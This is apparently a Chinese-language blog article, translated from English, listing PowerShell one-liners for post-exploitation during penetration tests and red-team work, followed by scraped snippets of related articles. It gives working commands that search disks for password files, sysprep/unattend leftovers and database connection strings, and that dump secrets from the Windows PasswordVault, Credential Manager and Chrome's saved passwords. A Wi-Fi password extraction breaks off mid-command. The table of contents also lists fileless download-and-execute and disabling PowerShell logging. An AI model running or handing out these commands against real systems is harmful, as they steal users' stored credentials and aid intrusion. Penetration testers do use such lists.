powershell渗透-信息收集命令

本文包含从 Internet 的各个角落收集的 PowerShell 命令列表,这些命令在渗透测试或红色团队练习期间可能会有所帮助。

该列表包括各种开发后的单行在纯 PowerShell 不需要任何攻击 (= 可能标记为恶意) 第三方模块, 但也一堆方便的管理命令.

我们开始吧!

目录

隐藏

• 查找包含敏感信息的文件

o 查找可能感兴趣的文件

o 在 Sysprep 或未处理文件中查找凭据

o 查找包含"密码"字符串的配置文件

o 在配置文件中查找数据库凭据

o 查找 Web 服务器配置文件

• 提取凭据

o 从 Windows 密码 Vault 获取存储的密码

o 从 Windows 凭据管理器获取存储的密码

o 从谷歌浏览器转储密码

o 从无线配置文件获取存储的 Wi-Fi 密码

o 在注册表中搜索 SNMP 社区字符串

o 在注册表中搜索字符串模式

• 权限升级

o 搜索自动登录凭据的注册表

o 检查是否启用了"始终安装提升"

o 查找未引用的服务路径

o 检查 Lsass Wdigest 缓存

o SYSVOL 和组策略首选项 (GPP) 中的凭据

• 网络相关命令

o 从命令行设置 MAC 地址

o 允许远程桌面连接

o 使用大容量 DNS 反向查找的主机发现

o 端口扫描主机以寻找有趣的端口

o 端口扫描单个端口的网络(端口扫描)

o 创建来宾 SMB 共享驱动器

o 在 Windows 防火墙中白列出 IP 地址

• 其他有用的命令

o 无文件下载和执行

o 获取当前用户的 SID

o 检查我们运行是否具有提升(管理员)权限

o 禁用 PowerShell 命令日志记录

o 列出已安装的防病毒 (AV) 产品

• 结论

查找包含敏感信息的文件

在开发后阶段,以下 PowerShell 命令可以很方便地查找磁盘上可能包含凭据、配置详细信息和其他敏感信息的文件。

查找可能感兴趣的文件

通过此命令,我们可以根据文件名识别具有潜在敏感数据的文件,如帐户信息、凭据、配置文件等:

gci c:\ -Include pass.txt,pass.xml,pass.ini,pass.xlsx,cred,vnc,.config,accounts -File -Recurse -EA SilentlyContinue

虽然这会产生很多噪音,但也会产生一些非常有趣的结果。

建议对每个磁盘驱动器进行此操作,但您也可以在 c:\用户文件夹上运行它,以便获得一些快速获胜。

在 Sysprep 或未处理文件中查找凭据

此命令将查找自动安装和自动配置的残余,这些残余可能包含纯文本密码或 base64 编码密码:

gci c:\ -Include sysprep.inf,sysprep.xml,sysprep.txt,unattended.xml,unattend.xml,unattend.txt -File -Recurse -EA SilentlyContinue

这是众所周知的特权升级技术之一,因为密码通常是本地管理员密码。

建议对每个磁盘驱动器进行此设置。

查找包含"密码"字符串的配置文件

通过此命令,我们可以找到包含特定模式的文件,例如,这里正在寻找各种文本配置文件中的"密码"模式:

gci c:\ -Include .txt,.xml,.config,.conf,.cfg,.ini -File -Recurse -EA SilentlyContinue | Select-String -Pattern "password"

虽然这会产生很多噪音,但也会产生一些有趣的结果。

建议对每个磁盘驱动器进行此设置。

在配置文件中查找数据库凭据

使用以下 PowerShell 命令,我们可以在各种配置文件(如 Web.config)中查找存储在各种配置文件中的数据库连接字符串(具有纯文本凭据),ASP.NET在 Visual Studio 项目文件中等:

gci c:\ -Include .config,.conf,*.xml -File -Recurse -EA SilentlyContinue | Select-String -Pattern "connectionString"

查找连接字符串,例如对于远程 Microsoft SQL Server,可能会导致远程命令执行 (RCE) 使用 xp_cmdshell 功能(链接、链接、链接等)以及随后的横向移动。

查找 Web 服务器配置文件

通过此命令,我们可以轻松地找到属于 Microsoft IIS、XAMPP、Apache、PHP 或 MySQL 安装的配置文件:

gci c:\ -Include web.config,applicationHost.config,php.ini,httpd.conf,httpd-xampp.conf,my.ini,my.cnf -File -Recurse -EA SilentlyContinue

这些文件可能包含纯文本密码或其他有趣的信息,可以允许访问其他资源,如数据库,管理接口等。

提取凭据

以下 PowerShell 命令也属于开发后类别,它们可用于在访问 Windows 系统后提取凭据。

从 Windows 密码 Vault 获取存储的密码

使用以下 PowerShell 命令,我们可以从 Windows PasswordVault中提取机密,这是一种用于存储密码和 Web 凭据的 Windows 内置机制,例如用于 Internet 资源管理器、边缘和其他应用程序:

[Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];(New-Object Windows.Security.Credentials.PasswordVault).RetrieveAll() | % { $.RetrievePassword();$ }

请注意,保管库通常存储在以下位置,并且只能在当前记录的用户的上下文中检索机密:

• C:\Users<USERNAME>\AppData\Local\Microsoft\Vault

• C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Vault

• C:\ProgramData\Microsoft\Vault

有关 Windows 密码 Vault 的更多信息,请参阅此处。

从 Windows 凭据管理器获取存储的密码

Windows 凭据管理器提供了另一种用于存储凭据以登录到网站、登录到远程系统和各种应用程序的机制,它还提供了在 PowerShell 脚本中使用凭据的安全方法。

使用以下单行,我们可以使用凭据管理器从凭据管理器检索所有存储的凭据:

Get-StoredCredential | % { write-host -NoNewLine $.username; write-host -NoNewLine ":" ; $p = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($.password) ; [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($p); }

与PasswordVault类似,凭据存储在单个用户配置文件位置,只有当前记录的用户才能解密其:

• C:\Users<USERNAME>\AppData\Local\Microsoft\Credentials

• C:\Users<USERNAME>\AppData\Roaming\Microsoft\Credentials

• C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Credentials\

从谷歌浏览器转储密码

以下命令从 Google Chrome 浏览器(如果已安装)以及存储任何密码时提取存储的凭据:

[System.Text.Encoding]::UTF8.GetString([System.Security.Cryptography.ProtectedData]::Unprotect($datarow.password_value,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser))

同样,这必须在目标(受害者)用户的上下文中执行。

从无线配置文件获取存储的 Wi-Fi 密码

通过此命令,我们可以从 Windows 系统中配置的无线配置文件中提取所有存储的 Wi-Fi 密码(WEP、WPA PSK、WPA2 PSK 等) :

(netsh wlan show profiles) | Select-String "

powershell渗透-信息收集命令的更多相关文章

  1. DNS信息收集命令nslookup

    DNS信息收集--NSLOOKUP 前面文章我介绍了dig命令,NSLOOKUP命令用法差不多 简单查询 语法:nslookup domain [dns-server] nslookup www.si ...

  2. Metasploit笔记之信息收集命令

    书籍参考:Metasploit渗透指南 Nmap:使用没有时 ubuntu自动提示安装命令 用法: nmap -sS -Pn  192.168.1.0 -sS:执行一次隐秘的tcp扫描 -Pn:不使用 ...

  3. python学习之路(2)(渗透信息收集)

    scapy的用法 通过目标ip的回复判断目标ip主机的情况 先写上三层的IP 四层的TCP 然后r.display看一下我们的包 src是源ip dst是目标ip 我们添加目标ip 这里是网关的ip ...

  4. peeping tom 在渗透信息收集前的作用。

    原本想写个截屏类的脚本,发现已经有了这个 py脚本   名字叫作: peeping tom 想要了解详细,戳:https://bitbucket.org/LaNMaSteR53/peepingtom/ ...

  5. 内网横向渗透 之 ATT&CK系列一 之 信息收集

    前言 靶机下载地址:ATT&CK 拓扑图: 通过模拟真实环境搭建的漏洞靶场,完全模拟ATK&CK攻击链路进行搭建,形成完整个闭环.虚拟机默认密码为hongrisec@2019. 环境搭 ...

  6. 小白日记7:kali渗透测试之主动信息收集-发现(一)--二层发现:arping/shell脚本,Netdiscover,scapy

    主动信息收集 被动信息收集可能不准确,可以用主动信息收集验证   特点:直接与目标系统交互通信,无法避免留下访问痕迹 解决方法:1.使用受控的第三方电脑进行探测,使用代理 (做好被封杀的准备)   2 ...

  7. 小白日记6:kali渗透测试之被动信息收集(五)-Recon-ng

    Recon-ng Recon-NG是由python编写的一个开源的Web侦查(信息收集)框架.Recon-ng框架是一个全特性的工具,使用它可以自动的收集信息和网络侦查.其命令格式与Metasploi ...

  8. Kali Linux渗透测试实战 2.1 DNS信息收集

    目录 2.1 DNS信息收集1 2.1.1 whois查询3 2.1.2 域名基本信息查询4 Dns服务器查询4 a记录查询4 mx记录查询5 2.1.3 域名枚举5 fierse 5 dnsdict ...

  9. 信息收集1:DNSEUM命令

    1,背景 今天无意中发现了dnsenum这个工具,在网上搜了下关于dnsenum的介绍和安装使用方法,资料不是很全,但还好这个工具也算简单,网上也都有源码,可以自行下载下来阅读阅读.本人好奇在本机(u ...

随机推荐

  1. 二进制搭建kubernetes-1.18.6单master集群

    master组件 kube-apiserver kubernetes API集群的同一入口,各组件协调者,以RESTful API提供接口服务,所有对象资源的增删改查和监听操作都交给APIserver ...

  2. win7如何安装maven

    1.Maven的简介Maven是一个项目管理工具,主要用于Java平台的项目构建.依赖管理和项目生命周期管理. 当然对于我这样的程序猿来说,最大的好处就是对jar包的管理比较方便,只需要告诉Maven ...

  3. java流程控制学习

    Java流程控制 计算的步骤就是算法. 1.用户交互Scanner next()不能得到带有空格的字符串.[它是以空格为结束符]nextline()可以,[它是以回车为结束符] 2.顺序结构 从上到下 ...

  4. OpenStack最新版本--Victoria发布亮点与初体验

    前言 `OpenStack`是一个云操作系统,可控制整个数据中心内的大型计算,存储和网络资源池,所有资源均通过具有通用身份验证机制的`API`进行管理和配置. 还提供了一个仪表板,可让管理员进行控制, ...

  5. 发布TrajStat 1.4.4

    发布TrajStat 1.4.4 (MeteoInfo Java版插件),在PSCF和CWT源区分析中增加了依据格点中的气团轨迹条数为权重进行结果处理的功能.之前的仅有按照轨迹节点数目进行权重处理的功 ...

  6. 无法访问GitHub

    我们开发者经常用的最大的同性交流平台--GitHub忽然访问不了了,很尴尬 可以打开控制台 ping一下 github.com 果不其然 不通 不过幸运的是里面有github的ip地址,好像是美国某个 ...

  7. Ubuntu20.04 体验和美化

    Ubuntu20.04美化和体验 windows用久了,换下系统也挺好的.ubuntu20.04优化后,用起来蛮舒服的. 系统配置 1.修改软件源 Ubuntu默认是国外的软件源, 我们可以手动切换为 ...

  8. php 反射 实例化类

    <?php class Person { public $name; public $sex; public function __construct($name,$sex=1) { $this ...

  9. Android adb实现原理

    adb定义: adb(Android Debug Bridge) 安卓调试桥,包含adb client.adb server和adbd三部分. adb client:运行在PC上,即DDMS或者在Wi ...

  10. Redis Hashes 数据类型简述

    Redis Hashes 是我们日常使用中比较高频的 Redis 数据类型,内部使用 Redis 字典结构存储,底层基于哈希表结构实现. 下面从哈希表节点,哈下表结构,Redis 字典,Redis 字 ...